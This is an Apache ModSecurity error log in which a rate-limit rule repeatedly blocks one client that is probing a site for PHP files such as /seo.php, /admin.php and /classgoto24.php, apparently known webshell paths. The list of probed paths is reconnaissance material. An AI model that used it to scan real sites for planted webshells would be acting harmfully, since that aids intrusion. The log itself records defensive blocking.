[Thu May 07 06:23:07.043521 2026] [:error] [pid 4539:tid 4564] [client 172.202.74.222:29903] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "afu_S4PEZE1565sDGnw9hwAAARc"]
[Thu May 07 06:23:07.431545 2026] [:error] [pid 4539:tid 4563] [client 172.202.74.222:29900] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/seo.php"] [unique_id "afu_S4PEZE1565sDGnw9iQAAARY"]
[Thu May 07 06:23:07.886941 2026] [:error] [pid 29605:tid 29619] [client 172.202.74.222:29944] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "afu_S4nxrTjETioEY0Tq6gAAAAU"]
[Thu May 07 06:23:08.291151 2026] [:error] [pid 29605:tid 29618] [client 172.202.74.222:29924] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "afu_TInxrTjETioEY0Tq7AAAAAQ"]
[Thu May 07 06:23:08.719755 2026] [:error] [pid 4539:tid 4549] [client 172.202.74.222:30069] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "afu_TIPEZE1565sDGnw9jAAAAQg"]
[Thu May 07 06:23:09.184249 2026] [:error] [pid 4539:tid 4553] [client 172.202.74.222:29913] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/7.php"] [unique_id "afu_TYPEZE1565sDGnw9jwAAAQw"]
[Thu May 07 06:23:09.608254 2026] [:error] [pid 4539:tid 4541] [client 172.202.74.222:29901] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "afu_TYPEZE1565sDGnw9kAAAAQA"]
[Thu May 07 06:23:10.050636 2026] [:error] [pid 4539:tid 4548] [client 172.202.74.222:29840] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "afu_ToPEZE1565sDGnw9kQAAAQc"]
[Thu May 07 06:23:10.500926 2026] [:error] [pid 29607:tid 29691] [client 172.202.74.222:30016] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "afu_TqbP7TJOAh7WSUN1iwAAAJc"]
[Thu May 07 06:23:10.918134 2026] [:error] [pid 4539:tid 4542] [client 172.202.74.222:30074] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "afu_ToPEZE1565sDGnw9lAAAAQE"]
[Thu May 07 06:23:11.347889 2026] [:error] [pid 29606:tid 29664] [client 172.202.74.222:29945] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "afu_TxR5HjZ1PlSAiKttlQAAAFc"]
[Thu May 07 06:23:11.768558 2026] [:error] [pid 4539:tid 4561] [client 172.202.74.222:29890] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "afu_T4PEZE1565sDGnw9lgAAARQ"]
[Thu May 07 06:23:12.193172 2026] [:error] [pid 4539:tid 4549] [client 172.202.74.222:29912] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "afu_UIPEZE1565sDGnw9lwAAAQg"]
[Thu May 07 06:23:12.640040 2026] [:error] [pid 29606:tid 29660] [client 172.202.74.222:29936] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "afu_UBR5HjZ1PlSAiKttmAAAAFM"]
[Thu May 07 06:23:13.040488 2026] [:error] [pid 4539:tid 4544] [client 172.202.74.222:30014] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "afu_UYPEZE1565sDGnw9mgAAAQM"]
[Thu May 07 06:23:13.492958 2026] [:error] [pid 29605:tid 29637] [client 172.202.74.222:29838] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "afu_UYnxrTjETioEY0Tq8gAAABc"]
[Thu May 07 06:23:13.934580 2026] [:error] [pid 29710:tid 29713] [client 172.202.74.222:29932] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/2.php"] [unique_id "afu_Uf0atTQld9Y2ht_vVwAAAME"]
[Thu May 07 06:23:26.759996 2026] [:error] [pid 4539:tid 4557] [client 172.202.74.222:29896] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "afu_XoPEZE1565sDGnw9wwAAARA"]
[Thu May 07 06:23:27.182579 2026] [:error] [pid 29710:tid 29723] [client 172.202.74.222:29839] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "afu_X_0atTQld9Y2ht_vegAAAMs"]
[Thu May 07 06:23:27.640744 2026] [:error] [pid 29710:tid 29725] [client 172.202.74.222:30000] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "afu_X_0atTQld9Y2ht_vfQAAAM0"]
[Thu May 07 06:23:28.024421 2026] [:error] [pid 4539:tid 4544] [client 172.202.74.222:29993] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hplfuns.php"] [unique_id "afu_YIPEZE1565sDGnw9xQAAAQM"]
[Thu May 07 06:23:28.423428 2026] [:error] [pid 29607:tid 29682] [client 172.202.74.222:29898] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "afu_YKbP7TJOAh7WSUN1qQAAAI4"]
[Thu May 07 06:23:28.854316 2026] [:error] [pid 29606:tid 29644] [client 172.202.74.222:30034] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "afu_YBR5HjZ1PlSAiKttqAAAAEM"]
[Thu May 07 06:23:29.230355 2026] [:error] [pid 29710:tid 29730] [client 172.202.74.222:29998] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "afu_Yf0atTQld9Y2ht_vhAAAANI"]
[Thu May 07 06:23:29.718395 2026] [:error] [pid 29605:tid 29634] [client 172.202.74.222:30113] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xa.php"] [unique_id "afu_YYnxrTjETioEY0TrCgAAABQ"]
[Thu May 07 06:23:30.132837 2026] [:error] [pid 4539:tid 4549] [client 172.202.74.222:29940] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "afu_YoPEZE1565sDGnw9xwAAAQg"]
[Thu May 07 06:23:30.536356 2026] [:error] [pid 4539:tid 4556] [client 172.202.74.222:29902] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "afu_YoPEZE1565sDGnw9yAAAAQ8"]
[Thu May 07 06:23:30.924367 2026] [:error] [pid 4539:tid 4565] [client 172.202.74.222:30128] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "afu_YoPEZE1565sDGnw9ygAAARg"]
[Thu May 07 06:23:31.384024 2026] [:error] [pid 29606:tid 29655] [client 172.202.74.222:29918] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "afu_YxR5HjZ1PlSAiKttrQAAAE4"]
[Thu May 07 06:23:31.809560 2026] [:error] [pid 29710:tid 29725] [client 172.202.74.222:29847] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "afu_Y_0atTQld9Y2ht_viwAAAM0"]
[Thu May 07 06:23:32.268818 2026] [:error] [pid 4539:tid 4546] [client 172.202.74.222:29881] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "afu_ZIPEZE1565sDGnw9zQAAAQU"]
[Thu May 07 06:23:32.673766 2026] [:error] [pid 4539:tid 4562] [client 172.202.74.222:29917] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "afu_ZIPEZE1565sDGnw90QAAARU"]
[Thu May 07 06:23:33.099966 2026] [:error] [pid 4539:tid 4558] [client 172.202.74.222:29780] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "afu_ZYPEZE1565sDGnw90wAAARE"]
[Thu May 07 06:23:33.510688 2026] [:error] [pid 29607:tid 29669] [client 172.202.74.222:29926] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "afu_ZabP7TJOAh7WSUN1sQAAAIE"]
[Thu May 07 06:23:33.898022 2026] [:error] [pid 4539:tid 4559] [client 172.202.74.222:29923] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "afu_ZYPEZE1565sDGnw91gAAARI"]
[Thu May 07 06:23:34.277096 2026] [:error] [pid 4539:tid 4544] [client 172.202.74.222:29941] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "afu_ZoPEZE1565sDGnw92AAAAQM"]
[Thu May 07 06:23:34.854681 2026] [:error] [pid 29607:tid 29682] [client 172.202.74.222:29875] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "afu_ZqbP7TJOAh7WSUN1tAAAAI4"]
[Thu May 07 06:23:35.241990 2026] [:error] [pid 29607:tid 29688] [client 172.202.74.222:30087] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "afu_Z6bP7TJOAh7WSUN1twAAAJQ"]
[Thu May 07 06:23:35.706902 2026] [:error] [pid 29606:tid 29661] [client 172.202.74.222:29905] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "afu_ZxR5HjZ1PlSAiKttrgAAAFQ"]
[Thu May 07 06:23:36.106832 2026] [:error] [pid 29605:tid 29620] [client 172.202.74.222:29925] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "afu_aInxrTjETioEY0TrFwAAAAY"]
[Thu May 07 06:23:36.506062 2026] [:error] [pid 29710:tid 29715] [client 172.202.74.222:30188] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/no1.php"] [unique_id "afu_aP0atTQld9Y2ht_vmAAAAMM"]
[Thu May 07 06:23:36.921124 2026] [:error] [pid 29710:tid 29720] [client 172.202.74.222:29987] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "afu_aP0atTQld9Y2ht_vnAAAAMg"]
[Thu May 07 06:23:37.336201 2026] [:error] [pid 29605:tid 29629] [client 172.202.74.222:29921] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "afu_aYnxrTjETioEY0TrHAAAAA8"]
[Thu May 07 06:23:37.755417 2026] [:error] [pid 29710:tid 29732] [client 172.202.74.222:29831] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "afu_af0atTQld9Y2ht_voAAAANQ"]
[Thu May 07 06:23:38.212308 2026] [:error] [pid 4539:tid 4552] [client 172.202.74.222:29929] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/w2025.php"] [unique_id "afu_aoPEZE1565sDGnw94QAAAQs"]
[Thu May 07 06:23:38.628845 2026] [:error] [pid 29607:tid 29690] [client 172.202.74.222:29841] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "afu_aqbP7TJOAh7WSUN1wAAAAJY"]
[Thu May 07 06:23:39.038794 2026] [:error] [pid 4539:tid 4542] [client 172.202.74.222:29915] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "afu_a4PEZE1565sDGnw96wAAAQE"]
[Thu May 07 06:23:39.443292 2026] [:error] [pid 29607:tid 29685] [client 172.202.74.222:29957] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "afu_a6bP7TJOAh7WSUN1wgAAAJE"]
[Thu May 07 06:23:39.848805 2026] [:error] [pid 4539:tid 4546] [client 172.202.74.222:30169] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fvvff.php"] [unique_id "afu_a4PEZE1565sDGnw98AAAAQU"]
[Thu May 07 06:23:40.260166 2026] [:error] [pid 4539:tid 4553] [client 172.202.74.222:29935] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "afu_bIPEZE1565sDGnw98gAAAQw"]
[Thu May 07 06:23:40.637623 2026] [:error] [pid 29710:tid 29714] [client 172.202.74.222:29826] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "afu_bP0atTQld9Y2ht_voQAAAMI"]
[Thu May 07 06:23:41.089781 2026] [:error] [pid 29607:tid 29677] [client 172.202.74.222:29837] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "afu_babP7TJOAh7WSUN1yQAAAIk"]
[Thu May 07 06:23:41.464298 2026] [:error] [pid 4539:tid 4549] [client 172.202.74.222:29853] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/edit.php"] [unique_id "afu_bYPEZE1565sDGnw99wAAAQg"]
[Thu May 07 06:23:41.843273 2026] [:error] [pid 29606:tid 29651] [client 172.202.74.222:29947] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "afu_bRR5HjZ1PlSAiKttsgAAAEo"]
[Thu May 07 06:23:42.288810 2026] [:error] [pid 29606:tid 29645] [client 172.202.74.222:29855] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "afu_bhR5HjZ1PlSAiKttswAAAEQ"]
[Thu May 07 06:23:42.677945 2026] [:error] [pid 29606:tid 29653] [client 172.202.74.222:29880] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "afu_bhR5HjZ1PlSAiKtttQAAAEw"]
[Thu May 07 06:23:43.149822 2026] [:error] [pid 29607:tid 29687] [client 172.202.74.222:29949] [client 172.202.74.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "afu_b6bP7TJOAh7WSUN1zwAAAJM"]
